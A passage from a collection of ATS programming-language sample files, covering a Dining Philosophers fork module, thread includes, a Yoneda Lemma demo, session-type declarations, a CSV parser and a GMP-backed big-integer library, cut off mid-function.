    "content": "(* ****** ****** *)\n//\n// HX-2013-11\n//\n// Implementing a variant of\n// the problem of Dining Philosophers\n//\n(* ****** ****** *)\n//\n#include\n\"share/atspre_define.hats\"\n#include\n\"share/atspre_staload.hats\"\n//\n(* ****** ****** *)\n\nstaload\nUN = \"prelude/SATS/unsafe.sats\"\n\n(* ****** ****** *)\n\nstaload \"{$LIBATSHWXI}/teaching/mythread/SATS/channel.sats\"\n\n(* ****** ****** *)\n\nstaload _ = \"libats/DATS/deqarray.dats\"\nstaload _ = \"{$LIBATSHWXI}/teaching/mythread/DATS/channel.dats\"\n\n(* ****** ****** *)\n\nstaload \"./DiningPhil2.sats\"\n\n(* ****** ****** *)\n\ndatavtype fork = FORK of (nphil)\n\n(* ****** ****** *)\n\nassume fork_vtype = fork\n\n(* ****** ****** *)\n\nimplement\nfork_get_num (f) = let val FORK(n) = f in n end\n\n(* ****** ****** *)\n\nlocal\n\nval\nthe_forkarray = let\n//\ntypedef t = channel(fork)\n//\nimplement\narray_tabulate$fopr<t>\n  (n) = ch where\n{\n  val n = $UN.cast{nphil}(n)\n  val ch = channel_create_exn<fork> (i2sz(2))\n  val () = channel_insert (ch, FORK (n))\n}\n//\nin\n  arrayref_tabulate<t> (i2sz(NPHIL))\nend // end of [val]\n\nin (* in of [local] *)\n\nimplement fork_changet (n) = the_forkarray[n]\n\nend // end of [local]\n\n(* ****** ****** *)\n\nlocal\n\nval the_forktray =\n  channel_create_exn<fork> (i2sz(NPHIL+1))\n\nin (* in of [local] *)\n\nimplement forktray_changet () = the_forktray\n\nend // end of [local]\n\n(* ****** ****** *)\n\n(* end of [DiningPhil2_fork.dats] *)\n"
  },
  {
    "path": "samples/ATS/DiningPhil2_thread.dats",
    "content": "(* ****** ****** *)\n//\n// HX-2013-11\n//\n// Implementing a variant of\n// the problem of Dining Philosophers\n//\n(* ****** ****** *)\n//\n#include \"share/atspre_define.hats\"\n#include \"share/atspre_staload.hats\"\n//\n(* ****** ****** *)\n\nstaload \"{$LIBATSHWXI}/teaching/mythread/SATS/mythread.sats\"\n\n(* ****** ****** *)\n\nlocal\n//\n#include \"{$LIBATSHWXI}/teaching/mythread/DATS/mythread.dats\"\n//\nin (* in of [local] *)\n//\n// HX: it is intentionally left to be empty\n//\nend // end of [local]\n\n(* ****** ****** *)\n\nlocal\n//\n#include \"{$LIBATSHWXI}/teaching/mythread/DATS/mythread_posix.dats\"\n//\nin (* in of [local] *)\n//\n// HX: it is intentionally left to be empty\n//\nend // end of [local]\n\n(* ****** ****** *)\n\n(* end of [DiningPhil2_thread.dats] *)\n"
  },
  {
    "path": "samples/ATS/YonedaLemma.dats",
    "content": "(* ****** ****** *)\n//\n// HX-2014-01\n// Yoneda Lemma:\n// The hardest \"trivial\" theorem :)\n//\n(* ****** ****** *)\n//\n#include\n\"share/atspre_staload.hats\"\n//\n(* ****** ****** *)\n\nstaload\n\"libats/ML/SATS/basis.sats\"\nstaload\n\"libats/ML/SATS/list0.sats\"\nstaload\n\"libats/ML/SATS/option0.sats\"\n\n(* ****** ****** *)\n\nstaload _ = \"libats/ML/DATS/list0.dats\"\nstaload _ = \"libats/ML/DATS/option0.dats\"\n\n(* ****** ****** *)\n\nsortdef ftype = type -> type\n\n(* ****** ****** *)\n\ninfixr (->) ->>\ntypedef ->> (a:type, b:type) = a -<cloref1> b\n\n(* ****** ****** *)\n\ntypedef\nfunctor(F:ftype) =\n  {a,b:type} (a ->> b) ->> F(a) ->> F(b)\n\n(* ****** ****** *)\n\ntypedef\nlist0 (a:type) = list0 (a)\nextern\nval functor_list0 : functor (list0)\n\n(* ****** ****** *)\n\nimplement\nfunctor_list0{a,b}\n  (f) = lam xs => list0_map<a><b> (xs, f)\n\n(* ****** ****** *)\n\ntypedef\noption0 (a:type) = option0 (a)  \nextern\nval functor_option0 : functor (option0)\n  \n(* ****** ****** *)\n\nimplement\nfunctor_option0{a,b}\n  (f) = lam opt => option0_map<a><b> (opt, f)\n\n(* ****** ****** *)\n\nextern\nval functor_homres\n  : {c:type} functor (lam(r:type) => c ->> r)\n\n(* ****** ****** *)\n\nimplement\nfunctor_homres{c}{a,b} (f) = lam (r) => lam (x) => f (r(x))\n\n(* ****** ****** *)\n//\nextern\nfun Yoneda_phi : {F:ftype}functor(F) ->\n  {a:type}F(a) ->> ({r:type}(a ->> r) ->> F(r))\nextern\nfun Yoneda_psi : {F:ftype}functor(F) ->\n  {a:type}({r:type}(a ->> r) ->> F(r)) ->> F(a)\n//\n(* ****** ****** *)\n//\nimplement\nYoneda_phi\n  (ftor) = lam(fx) => lam (m) => ftor(m)(fx)\n//\nimplement\nYoneda_psi (ftor) = lam(mf) => mf(lam x => x)\n//\n(* ****** ****** *)\n\n(*\n\n(* ****** ****** *)\n//\n// HX-2014-01-05:\n// Another version based on Natural Transformation\n//\n(* ****** ****** *)\n\ntypedef\nnatrans(F:ftype, G:ftype) = {x:type} (F(x) ->> G(x))\n\n(* ****** ****** *)\n//\nextern\nfun Yoneda_phi_nat : {F:ftype}functor(F) ->\n  {a:type} F(a) ->> natrans(lam (r:type) => (a ->> r), F)\nextern\nfun Yoneda_psi_nat : {F:ftype}functor(F) ->\n  {a:type} natrans(lam (r:type) => (a ->> r), F) ->> F(a)\n//\n(* ****** ****** *)\n//\nimplement\nYoneda_phi_nat\n  (ftor) = lam(fx) => lam (m) => ftor(m)(fx)\n//\nimplement\nYoneda_psi_nat (ftor) = lam(mf) => mf(lam x => x)\n//\n(* ****** ****** *)\n\n*)\n\n(* ****** ****** *)\n\ndatatype bool = True | False // boxed boolean\n\n(* ****** ****** *)\n//\nfun bool2string\n  (x:bool): string =\n(\n  case+ x of True() => \"True\" | False() => \"False\"\n)\n//\nimplement\nfprint_val<bool> (out, x) = fprint (out, bool2string(x))\n//\n(* ****** ****** *)\n//\nval myboolist0 =\n  $list_t{bool}(True, False, True, False, False)\nval myboolist0 = g0ofg1_list (myboolist0)\n//\n(* ****** ****** *)\n//\nextern\nval Yoneda_bool_list0 : {r:type} (bool ->> r) ->> list0(r)\n//\nimplement\nYoneda_bool_list0 =\n  Yoneda_phi(functor_list0){bool}(myboolist0)\n//\n(* ****** ****** *)\n//\nval myboolist1 =\n  Yoneda_psi(functor_list0){bool}(Yoneda_bool_list0)\n//\n(* ****** ****** *)\n\nval () = fprintln! (stdout_ref, \"myboolist0 = \", myboolist0)\nval () = fprintln! (stdout_ref, \"myboolist1 = \", myboolist1)\n\n(* ****** ****** *)\n\nimplement main0 () = ()\n\n(* ****** ****** *)\n\n(* end of [YonedaLemma.dats] *)\n"
  },
  {
    "path": "samples/ATS/basis_ssntype.sats",
    "content": "(*\n* The MIT License (MIT)\n*\n* Copyright (c) 2014 Hongwei Xi\n*\n* Permission is hereby granted, free of charge, to any person obtaining a copy\n* of this software and associated documentation files (the \"Software\"), to deal\n* in the Software without restriction, including without limitation the rights\n* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n* copies of the Software, and to permit persons to whom the Software is\n* furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included in all\n* copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n* SOFTWARE.)\n*)\n\n// Source: https://github.com/githwxi/ATS-Postiats-contrib/blob/201d635062d0ea64ff5ba5457a4ea0bb4d5ae202/contrib/libats-/hwxi/teaching/mysession-g/SATS/basis_ssntype.sats\n\n(*\n** Basis for g-session types\n*)\n\n(* ****** ****** *)\n//\nstaload\n\"./basis_intset.sats\"\n//\n(* ****** ****** *)\n//\nfun{}\nchannel_cap(): intGte(1)  \n//\n(* ****** ****** *)\n//\nabstype\nsession_msg\n  (i:int, j:int, a:vt@ype)\n//\n(* ****** ****** *)\n\nabstype ssession_nil\nabstype ssession_cons(a:type, ssn:type)\n\n(* ****** ****** *)\n//\nstadef msg = session_msg\n//\nstadef nil = ssession_nil\n//\nstadef :: = ssession_cons\nstadef cons = ssession_cons\n//\n(* ****** ****** *)\n//\nabstype\nsession_append\n  (ssn1: type, ssn2: type)\n//\nstadef append = session_append\n//\n(* ****** ****** *)\n//\nabstype\nsession_choose\n(\n  i:int, ssn1:type, ssn2:type\n) (* session_choose *)\n//\nstadef choose = session_choose\n//\n(* ****** ****** *)\n//\nabstype\nsession_repeat\n(\n  i:int, ssn:type(*body*)\n) (* session_repeat *)\n//\nstadef repeat = session_repeat\n//\n(* ****** ****** *)\n//\ntypedef\nsession_sing\n(\n  i: int\n, j: int\n, a:vt@ype\n) = cons(msg(i, j, a), nil)\n//\n(* ****** ****** *)\n//\nabsvtype\nchannel1_vtype\n  (G:iset, n:int, ssn:type) = ptr\n//\nvtypedef\nchannel1\n  (G:iset, n:int, ssn:type) = channel1_vtype(G, n, ssn)\n//\nvtypedef\ncchannel1\n  (G:iset, n:int, ssn:type) = channel1_vtype(ncomp(n, G), n, ssn)\n//\n(* ****** ****** *)\n//\nfun{}\nchannel1_get_nrole\n  {n:int}{ssn:type}{G:iset}\n  (chan: !channel1(G, n, ssn)): int(n)\n//\nfun{}\nchannel1_get_group\n  {n:int}{ssn:type}{G:iset}\n  (chan: !channel1(G, n, ssn)): intset(n,G)\n//\n(* ****** ****** *)\n//\nfun\n{a:vt0p}\nchannel1_close\n  {n:int}{ssn:type}{G:iset}(chan: channel1(G, n, nil)): void\n//\n(* ****** ****** *)\n//\nfun{}\nchannel1_skipin\n  {a:vt0p}\n  {n:int}{ssn:type}{G:iset}\n  {i,j:nat | ismbr(G, i); ismbr(G, j)}\n(\n  !channel1(G, n, msg(i, j, a)::ssn) >> channel1(G, n, ssn)\n) : void // end-of-function\npraxi\nlemma_channel1_skipin\n  {a:vt0p}\n  {n:int}{ssn:type}{G:iset}\n  {i,j:nat | ismbr(G, i); ismbr(G, j)}\n(\n  !channel1(G, n, msg(i, j, a)::ssn) >> channel1(G, n, ssn)\n) : void // lemma_channel1_skipin\n//\nfun{}\nchannel1_skipex\n  {a:vt0p}\n  {n:int}{ssn:type}{G:iset}\n  {i,j:nat | ~ismbr(G, i); ~ismbr(G, j)}\n(\n  !channel1(G, n, msg(i, j, a)::ssn) >> channel1(G, n, ssn)\n) : void // end-of-function\npraxi\nlemma_channel1_skipex\n  {a:vt0p}\n  {n:int}{ssn:type}{G:iset}\n  {i,j:nat | ~ismbr(G, i); ~ismbr(G, j)}\n(\n  !channel1(G, n, msg(i, j, a)::ssn) >> channel1(G, n, ssn)\n) : void // lemma_channel1_skipex\n//\n(* ****** ****** *)\n//\nfun\n{a:vt0p}\nchannel1_send\n  {n:int}{ssn:type}{G:iset}\n  {i,j:nat | i < n; j < n; ismbr(G, i); ~ismbr(G, j)}\n(\n  !channel1(G, n, msg(i, j, a)::ssn) >> channel1(G, n, ssn), int(i), int(j), a\n) : void // end of [channel1_send]\n//\nfun\n{a:vt0p}\nchannel1_recv\n  {n:int}{ssn:type}{G:iset}\n  {i,j:nat | i < n; j < n; ~ismbr(G, i); ismbr(G, j)}\n(\n  !channel1(G, n, msg(i, j, a)::ssn) >> channel1(G, n, ssn), int(i), int(j), &a? >> a\n) : void // end of [channel1_recv]\n//\nfun\n{a:vt0p}\nchannel1_recv_val\n  {n:int}{ssn:type}{G:iset}\n  {i,j:nat | i < n; j < n; ~ismbr(G, i); ismbr(G, j)}\n  (!channel1(G, n, msg(i, j, a)::ssn) >> channel1(G, n, ssn), int(i), int(j)): (a)\n//\n(* ****** ****** *)\n\nfun{}\nchannel1_append\n  {n:int}\n  {ssn1,ssn2:type}\n  {G:iset}\n(\n  chan: !channel1(G, n, append(ssn1, ssn2)) >> channel1(G, n, ssn2)\n, fserv: (!channel1(G, n, ssn1) >> channel1(G, n, nil)) -<lincloptr1> void\n) : void // end of [channel1_append]\n\n(* ****** ****** *)\n//\ndatatype\nchoosetag\n(\n  a:type, b:type, c:type\n) =\n  | choosetag_l(a, b, a) of ()\n  | choosetag_r(a, b, b) of ()\n//\n(* ****** ****** *)\n//\nfun{}\nchannel1_choose_l\n  {n:int}\n  {ssn1,ssn2:type}\n  {G:iset}\n  {i:nat | i < n; ismbr(G, i)}\n(\n  !channel1(G, n, choose(i,ssn1,ssn2)) >> channel1(G, n, ssn1), i: int(i)\n) : void // end of [channel1_choose_l]\n//\nfun{}\nchannel1_choose_r\n  {n:int}\n  {ssn1,ssn2:type}\n  {G:iset}\n  {i:nat | i < n; ismbr(G, i)}\n(\n  !channel1(G, n, choose(i,ssn1,ssn2)) >> channel1(G, n, ssn2), i: int(i)\n) : void // end of [channel1_choose_r]\n//\nfun{}\nchannel1_choose_tag\n  {n:int}\n  {ssn1,ssn2:type}\n  {G:iset}\n  {i:nat | i < n; ~isnil(G); ~ismbr(G, i)}\n(\n  !channel1(G, n, choose(i,ssn1,ssn2)) >> channel1(G, n, ssn_chosen), i: int(i)\n) : #[ssn_chosen:type] choosetag(ssn1, ssn2, ssn_chosen)\n//\n(* ****** ****** *)\n//\nfun{}\nchannel1_repeat_0\n  {n:int}\n  {ssn:type}\n  {G:iset}\n  {i:nat | i < n; ismbr(G, i)}\n(\n  !channel1(G, n, repeat(i,ssn)) >> channel1(G, n, nil), i: int(i)\n) : void // end of [channel1_repeat_nil]\n//\nfun{}\nchannel1_repeat_1\n  {n:int}\n  {ssn:type}\n  {G:iset}\n  {i:nat | i < n; ismbr(G, i)}\n(\n  !channel1(G, n, repeat(i,ssn)) >> channel1(G, n, append(ssn,repeat(i,ssn))), i: int(i)\n) : void // end of [channel1_repeat_more]\n//\nfun{}\nchannel1_repeat_tag\n  {n:int}\n  {ssn:type}\n  {G:iset}\n  {i:nat | i < n; ~isnil(G); ~ismbr(G, i)}\n(\n  !channel1(G, n, repeat(i,ssn)) >> channel1(G, n, ssn_chosen), i: int(i)\n) : #[ssn_chosen:type] choosetag(nil, append(ssn,repeat(i,ssn)), ssn_chosen)\n//\n(* ****** ****** *)\n//\n(*\n//\n// HX-2015-03-06:\n// This one does not work with sschoose!!!\n//\nfun{}\nchannel1_link\n  {n:int}{ssn:type}\n  {G1,G2:iset | isnil(G1*G2)}\n  (channel1(G1, n, ssn), channel1(G2, n, ssn)): channel1(G1+G2, n, ssn)\n*)\n//\nfun{}\nchannel1_link\n  {n:int}{ssn:type}\n  {G1,G2:iset | isful(G1+G2,n)}\n  (channel1(G1, n, ssn), channel1(G2, n, ssn)): channel1(G1*G2, n, ssn)\n//\n(* ****** ****** *)\n//\nfun{}\nchannel1_link_elim\n  {n:int}{ssn:type}{G:iset}(channel1(G, n, ssn), cchannel1(G, n, ssn)): void\n//\n(* ****** ****** *)\n//\nfun{}\ncchannel1_create_exn\n  {n:nat}{ssn:type}{G:iset}\n(\n  nrole: int(n), G: intset(n), fserv: channel1(G, n, ssn) -<lincloptr1> void\n) : cchannel1(G, n, ssn) // end of [cchannel1_create_exn]\n//\n(* ****** ****** *)\n\n(* end of [basis_ssntype.sats] *)\n"
  },
  {
    "path": "samples/ATS/csv_parse.hats",
    "content": "(*\n* The MIT License (MIT)\n*\n* Copyright (c) 2014 Hongwei Xi\n*\n* Permission is hereby granted, free of charge, to any person obtaining a copy\n* of this software and associated documentation files (the \"Software\"), to deal\n* in the Software without restriction, including without limitation the rights\n* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n* copies of the Software, and to permit persons to whom the Software is\n* furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included in all\n* copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n* SOFTWARE.)\n*)\n\n// Source: https://github.com/githwxi/ATS-Postiats-contrib/blob/0f26aa0df8542d2ae21df9be1e13208f66f571d6/contrib/libats-/hwxi/teaching/mygrading/HATS/csv_parse.hats\n\n(* ****** ****** *)\n//\n// Author: Hongwei Xi\n// Authoremail: gmhwxiATgmailDOTcom\n// Start time: the first of July, 2016\n//\n(* ****** ****** *)\n//\n#ifdef\nMYGRADING_HATS\n#then\n#else\n//\nextern\nfun\ncsv_parse_line\n(\n  line: string\n) : List0_vt(Strptr1)\n//\n#endif // #ifdef\n//\n(* ****** ****** *)\n\nlocal\n//\nstaload\nUN = \"prelude/SATS/unsafe.sats\"\n//\nextern\nfun{}\ngetpos(): int\n//\nextern\nfun{}\nis_end(): bool\n//\nextern\nfun{}\nchar_at(): int\n//\nextern\nfun{}\nStrptr1_at(i0: int): Strptr1\n//\nextern\nfun{}\nrmove(): void\nextern\nfun{}\nrmove_while(test: char -<cloref1> bool): void\n//\nin (* in-of-local *)\n//\nimplement\n{}(*tmp*)\nrmove_while\n  (test) = let\n//\nval c0 = char_at()\n//\nin\n//\nif c0 >= 0 then\n  if test(int2char0(c0)) then (rmove(); rmove_while(test)) else ()\n// end of [if]\n//\nend // end of [rmove_while]\n\n(* ****** ****** *)\n\nimplement\ncsv_parse_line\n  (line) = let\n//\nval line = g1ofg0(line)\n//\nvar i: int = 0\nval p_i = addr@i\n//\nval n0 = sz2i(length(line))\n//\nmacdef get_i() = $UN.ptr0_get<int>(p_i)\nmacdef inc_i() = $UN.ptr0_addby<int>(p_i, 1)\nmacdef set_i(i0) = $UN.ptr0_set<int>(p_i, ,(i0))\n//\nimplement\ngetpos<>() = get_i()\n//\nimplement\nis_end<>() = get_i() >= n0\n//\nimplement\nchar_at<>() = let\n  val i = get_i()\n  val i = ckastloc_gintGte(i, 0)\n//\nin\n  if i < n0 then char2u2int0(line[i]) else ~1\nend // end of [char_at]\n//\nimplement\nStrptr1_at<>(i0) = let\n//\n  val i1 = get_i()\n  val i0 = ckastloc_gintGte(i0, 0)\n  val i1 = ckastloc_gintBtwe(i1, i0, n0)\n//\nin\n  $UN.castvwtp0(\n    string_make_substring(line, i2sz(i0), i2sz(i1-i0))\n  ) (* $UN.castvwtp0 *)\nend // end of [Strptr1_at]\n//\nimplement\nrmove<>() =\n  if get_i() < n0 then inc_i()\n//\nvtypedef res_vt = List0_vt(Strptr1)\n//\nfun\nloop\n(\n  i: int, res: res_vt\n) : res_vt =\nif\nis_end()\nthen res\nelse let\n  val () =\n  (\n    if i > 0 then rmove()\n  )\n  val i0 = getpos()\n  var f0 =\n  (\n    lam@(c: char) =<clo> c != ','\n  )\n  val () = rmove_while($UN.cast(addr@f0))\n  val s0 = Strptr1_at(i0)\nin\n  loop(i+1, list_vt_cons(s0, res))\nend // end of [else]\n//\nin\n  list_vt_reverse(loop(0(*i*), list_vt_nil((*void*))))\nend // end of [csv_parse_line]\n\nend // end of [local]\n\n(* ****** ****** *)\n\n(* end of [csv_parse.hats] *)\n"
  },
  {
    "path": "samples/ATS/intinf_vt.dats",
    "content": "(***********************************************************************)\n(*                                                                     *)\n(*                         ATS/contrib/atshwxi                         *)\n(*                                                                     *)\n(***********************************************************************)\n\n(*\n** Copyright (C) 2013 Hongwei Xi, ATS Trustful Software, Inc.\n**\n** Permission is hereby granted, free of charge, to any person obtaining a\n** copy of this software and associated documentation files (the \"Software\"),\n** to deal in the Software without restriction, including without limitation\n** the rights to use, copy, modify, merge, publish, distribute, sublicense,\n** and/or sell copies of the Software, and to permit persons to whom the\n** Software is furnished to do so, subject to the following stated conditions:\n** \n** The above copyright notice and this permission notice shall be included in\n** all copies or substantial portions of the Software.\n** \n** THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n** OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n** FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n** THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n** LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n** FROM OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n** IN THE SOFTWARE.\n*)\n\n// Source: https://github.com/githwxi/ATS-Postiats-contrib/blob/04a984d9c08c1831f7dda8a05ce356db01f81850/contrib/libats-/hwxi/intinf/DATS/intinf_vt.dats\n\n(* ****** ****** *)\n//\n// Author: Hongwei Xi\n// Authoremail: hwxi AT gmail DOT com\n// Start Time: April, 2013\n//\n(* ****** ****** *)\n\n#include\n\"share/atspre_define.hats\"\n\n(* ****** ****** *)\n\nstaload\nUN = \"prelude/SATS/unsafe.sats\"\n\n(* ****** ****** *)\n\nstaload\nGMP = \"{$LIBGMP}/SATS/gmp.sats\"\n\n(* ****** ****** *)\n\nvtypedef mpz = $GMP.mpz_vt0ype\n\n(* ****** ****** *)\n//\nstaload \"./../SATS/intinf.sats\"\nstaload \"./../SATS/intinf_vt.sats\"\n//\n(* ****** ****** *)\n\nmacdef i2u (x) = g1int2uint_int_uint (,(x))\n\n(* ****** ****** *)\n\nlocal\n\nassume\nintinf_vtype\n  (i: int) = // HX: [i] is a fake\n  [l:addr] (mpz @ l, mfree_gc_v (l) | ptr l)\n// end of [intinf_vtype]\n\nin (* in of [local] *)\n\nimplement{}\nintinf_make_int\n  (i) = (x) where\n{\n//\nval x = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init_set_int (!(x.2), i)\n//\n} (* end of [intinf_make_int] *)\n\nimplement{}\nintinf_make_uint\n  (i) = (x) where\n{\n//\nval x = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init_set_uint (!(x.2), i)\n//\n} (* end of [intinf_make_uint] *)\n\nimplement{}\nintinf_make_lint\n  (i) = (x) where\n{\n//\nval x = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init_set_lint (!(x.2), i)\n//\n} (* end of [intinf_make_lint] *)\n\nimplement{}\nintinf_make_ulint\n  (i) = (x) where\n{\n//\nval x = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init_set_ulint (!(x.2), i)\n//\n} (* end of [intinf_make_ulint] *)\n\n(* ****** ****** *)\n\nimplement{}\nintinf_free (x) = let\n  val (pfat, pfgc | p) = x\n  val () = $GMP.mpz_clear (!p) in ptr_free (pfgc, pfat | p)\nend (* end of [intinf_free] *)\n\n(* ****** ****** *)\n\nimplement{}\nintinf_get_int (x) = $GMP.mpz_get_int (!(x.2))\nimplement{}\nintinf_get_lint (x) = $GMP.mpz_get_lint (!(x.2))\n\n(* ****** ****** *)\n\nimplement{}\nintinf_get_strptr\n  (x, base) = $GMP.mpz_get_str_null (base, !(x.2))\n// end of [intinf_get_strptr]\n\n(* ****** ****** *)\n\nimplement{}\nfprint_intinf_base\n  (out, x, base) = let\n  val nsz = $GMP.mpz_out_str (out, base, !(x.2))\nin\n//\nif (nsz = 0) then\n  exit_errmsg (1, \"libgmp/gmp: fprint_intinf_base\")\n// end of [if]\n//\nend (* fprint_intinf_base *)\n\n(* ****** ****** *)\n\nimplement{\n} neg_intinf0\n  (x) = (x) where\n{\n//\nval () = $GMP.mpz_neg (!(x.2))\n//\n} (* end of [neg_intinf0] *)\n\nimplement{\n} neg_intinf1\n  (x) = (y) where\n{\n//\nval y = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init (!(y.2))\nval () = $GMP.mpz_neg (!(y.2), !(x.2))\n//\n} (* end of [neg_intinf1] *)\n\n(* ****** ****** *)\n\nimplement{\n} abs_intinf0\n  (x) = (x) where\n{\n//\nval () = $GMP.mpz_abs (!(x.2))\n//\n} (* end of [abs_intinf0] *)\n\nimplement{\n} abs_intinf1\n  (x) = (y) where\n{\n//\nval y = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init (!(y.2))\nval () = $GMP.mpz_abs (!(y.2), !(x.2))\n//\n} (* end of [abs_intinf1] *)\n\n(* ****** ****** *)\n\nimplement{}\nsucc_intinf0 (x) = add_intinf0_int (x, 1)\nimplement{}\nsucc_intinf1 (x) = add_intinf1_int (x, 1)\n\n(* ****** ****** *)\n\nimplement{}\npred_intinf0 (x) = sub_intinf0_int (x, 1)\nimplement{}\npred_intinf1 (x) = sub_intinf1_int (x, 1)\n\n(* ****** ****** *)\n\nimplement{}\nadd_intinf0_int\n  (x, y) = (x) where\n{\n//\nval () = $GMP.mpz_add2_int (!(x.2), y)\n//\n} (* end of [add_intinf0_int] *)\n\nimplement{}\nadd_intinf1_int\n  (x, y) = (z) where\n{\n//\nval z = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init (!(z.2))\nval () = $GMP.mpz_add3_int (!(z.2), !(x.2), y)\n//\n} (* end of [add_intinf1_int] *)\n\n(* ****** ****** *)\n\nimplement{}\nadd_int_intinf0 (x, y) = add_intinf0_int (y, x)\nimplement{}\nadd_int_intinf1 (x, y) = add_intinf1_int (y, x)\n\n(* ****** ****** *)\n\nimplement{}\nadd_intinf0_intinf1\n  (x, y) = (x) where\n{\n//\nval () = $GMP.mpz_add2_mpz (!(x.2), !(y.2))\n//\n} (* end of [add_intinf0_intinf1] *)\n\nimplement{}\nadd_intinf1_intinf0\n  (x, y) = (y) where\n{\n//\nval () = $GMP.mpz_add2_mpz (!(y.2), !(x.2))\n//\n} (* end of [add_intinf1_intinf0] *)\n\n(* ****** ****** *)\n\nimplement{}\nadd_intinf1_intinf1\n  (x, y) = (z) where\n{\n//\nval z = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init (!(z.2))\nval () = $GMP.mpz_add3_mpz (!(z.2), !(x.2), !(y.2))\n//\n} (* end of [add_intinf1_intinf1] *)\n\n(* ****** ****** *)\n\nimplement{}\nsub_intinf0_int\n  (x, y) = (x) where\n{\n//\nval () = $GMP.mpz_sub2_int (!(x.2), y)\n//\n} (* end of [sub_intinf0_int] *)\n\nimplement{}\nsub_intinf1_int\n  (x, y) = (z) where\n{\n//\nval z = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init (!(z.2))\nval () = $GMP.mpz_sub3_int (!(z.2), !(x.2), y)\n//\n} (* end of [sub_intinf1_int] *)\n\n(* ****** ****** *)\n\nimplement{}\nsub_int_intinf0 (x, y) = let\n  val z = sub_intinf0_int (y, x) in neg_intinf0 (z)\nend (* end of [sub_int_intinf0] *)\n\nimplement{}\nsub_int_intinf1 (x, y) = let\n  val z = sub_intinf1_int (y, x) in neg_intinf0 (z)\nend (* end of [sub_int_intinf1] *)\n\n(* ****** ****** *)\n\nimplement{}\nsub_intinf0_intinf1\n  (x, y) = (x) where\n{\n//\nval () = $GMP.mpz_sub2_mpz (!(x.2), !(y.2))\n//\n} (* end of [sub_intinf0_intinf1] *)\n\nimplement{}\nsub_intinf1_intinf0\n  (x, y) = neg_intinf0 (sub_intinf0_intinf1 (y, x))\n// end of [sub_intinf1_intinf0]\n\nimplement{}\nsub_intinf1_intinf1\n  (x, y) = (z) where\n{\n//\nval z = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init (!(z.2))\nval () = $GMP.mpz_sub3_mpz (!(z.2), !(x.2), !(y.2))\n//\n} (* end of [sub_intinf1_intinf1] *)\n\n(* ****** ****** *)\n\nimplement{}\nmul_intinf0_int\n  (x, y) = (x) where\n{\n//\nval () = $GMP.mpz_mul2_int (!(x.2), y)\n//\n} (* end of [mul_intinf0_int] *)\n\nimplement{}\nmul_intinf1_int\n  (x, y) = (z) where\n{\n//\nval z = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init (!(z.2))\nval () = $GMP.mpz_mul3_int (!(z.2), !(x.2), y)\n//\n} (* end of [mul_intinf1_int] *)\n\n(* ****** ****** *)\n\nimplement{}\nmul_int_intinf0 (x, y) = mul_intinf0_int (y, x)\nimplement{}\nmul_int_intinf1 (x, y) = mul_intinf1_int (y, x)\n\n(* ****** ****** *)\n\nimplement{}\nmul_intinf0_intinf1\n  (x, y) = (x) where\n{\n//\nval () = $GMP.mpz_mul2_mpz (!(x.2), !(y.2))\n//\n} (* end of [mul_intinf0_intinf1] *)\n\nimplement{}\nmul_intinf1_intinf0\n  (x, y) = (y) where\n{\n//\nval () = $GMP.mpz_mul2_mpz (!(y.2), !(x.2))\n//\n} (* end of [mul_intinf0_intinf1] *)\n\n(* ****** ****** *)\n\nimplement{}\nmul_intinf1_intinf1\n  (x, y) = (z) where\n{\n//\nval z = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init (!(z.2))\nval () = $GMP.mpz_mul3_mpz (!(z.2), !(x.2), !(y.2))\n//\n} (* end of [mul_intinf1_intinf1] *)\n\n(* ****** ****** *)\n\nimplement{}\ndiv_intinf0_int\n  {i,j} (x, y) = let\nin\n//\nif y >= 0 then let\n  val () = $GMP.mpz_tdiv2_q_uint (!(x.2), i2u(y)) in x\nend else let\n  val () = $GMP.mpz_tdiv2_q_uint (!(x.2), i2u(~y)) in neg_intinf0 (x)\nend // end of 